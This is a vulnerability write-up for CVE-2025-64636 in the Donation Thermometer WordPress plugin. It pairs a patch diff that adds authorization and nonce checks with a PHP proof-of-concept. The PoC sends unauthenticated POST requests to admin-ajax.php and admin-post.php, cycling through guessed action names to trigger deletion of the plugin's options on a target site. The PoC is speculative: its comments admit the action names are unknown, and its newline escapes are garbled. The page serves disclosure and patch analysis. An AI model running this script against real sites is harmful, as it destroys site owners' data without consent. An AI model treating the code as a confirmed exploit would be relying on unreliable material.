CVE-2025-64636: Donation Thermometer <= 2.2.7 Missing Authorization PoC, Patch Analysis & Rule

--- a/donation-thermometer/donation_therm.php
+++ b/donation-thermometer/donation_therm.php
@@ -3,13 +3,13 @@
 Plugin Name: Donation Thermometer
 Plugin URI: https://rhewlif.xyz/thermometer
 Description: Displays customisable thermometers for tracking donations using the shortcode <code>[thermometer raised=?? target=??]</code>. Shortcodes for raised/target/percentage text values are also available for posts/pages/text widgets: <code>[therm_r]</code> / <code>[therm_t]</code> / <code>[therm_%]</code>.
-Version: 2.2.7
+Version: 2.2.8
 Author: Henry Patton
 Text Domain: donation-thermometer
 Author URI: https://rhewlif.xyz
 License: GPL3

-Copyright 2024  Henry Patton  (email : hp@rhewlif.xyz)
+Copyright 2026  Henry Patton  (email : hp@rhewlif.xyz)

     This program is free software: you can redistribute it and/or modify
     it under the terms of the GNU General Public License as published by
@@ -164,6 +164,9 @@
 }
 */
 function therm_uninstall(){
+    if (!current_user_can('manage_options')) {
+        exit;
+    }
     delete_option('thermometer_options');
     delete_option('thermometer_style');
 }
@@ -191,6 +194,10 @@

 // Function to reset options to default values
 function set_default_therm_style_options() {
+    check_admin_referer( 'thermometer_style_reset_action', 'thermometer_style_reset_nonce' );
+    if (!current_user_can('manage_options')) {
+        wp_die(__('You do not have sufficient permissions to reset the style options.'));
+    }
     delete_option('thermometer_style');
 }

@@ -231,6 +238,7 @@
     }
     elseif ( $active_tab == 'style' ) {
         echo '<form action="options.php" method="post">';
+        wp_nonce_field( 'thermometer_style_reset_action', 'thermometer_style_reset_nonce' );
         settings_fields( 'thermometer_style' );
         do_settings_sections( 'thermometer_style' );
         submit_button('Save Changes', 'primary', 'submit', false);

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-64636 - Donation Thermometer <= 2.2.7 - Missing Authorization

/**
 * This PoC demonstrates unauthenticated access to the therm_uninstall() function
 * which deletes plugin options without authorization.
 * It sends a POST request to the WordPress admin-ajax.php endpoint
 * simulating the trigger that calls the vulnerable function.
 * Replace $target_url with the base URL of the target WordPress installation.
 */

$target_url = 'http://target-wordpress-site.com';

// The vulnerable function therm_uninstall() is likely hooked to wp_ajax_* action
// Based on the plugin code context, it may be triggered via an AJAX action
// The exact action name needs to be determined from the plugin's code
// Common actions for uninstall/reset: 'therm_uninstall', 'thermometer_uninstall', 'reset_thermometer'

$endpoints = [
    $target_url . '/wp-admin/admin-ajax.php',
    $target_url . '/wp-admin/admin-post.php'
];

// List of possible action names the plugin might use
$actions = ['therm_uninstall', 'thermometer_uninstall', 'delete_thermometer_options', 'reset_therm'];

foreach ($endpoints as $endpoint) {
    foreach ($actions as $action) {
        echo "[+] Testing: $endpoint with action=$actionn";
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $endpoint);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['action' => $action]));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
        curl_setopt($ch, CURLOPT_HEADER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        echo "    HTTP Status: $http_coden";
        if ($http_code == 200) {
            echo "    [+] Possible vulnerable endpoint found!n";
        }
    }
}

echo "n[*] PoC complete. Check the WordPress site to see if options were deleted.n";
echo "[*] If successful, the thermometer_options and thermometer_style options will be removed.n";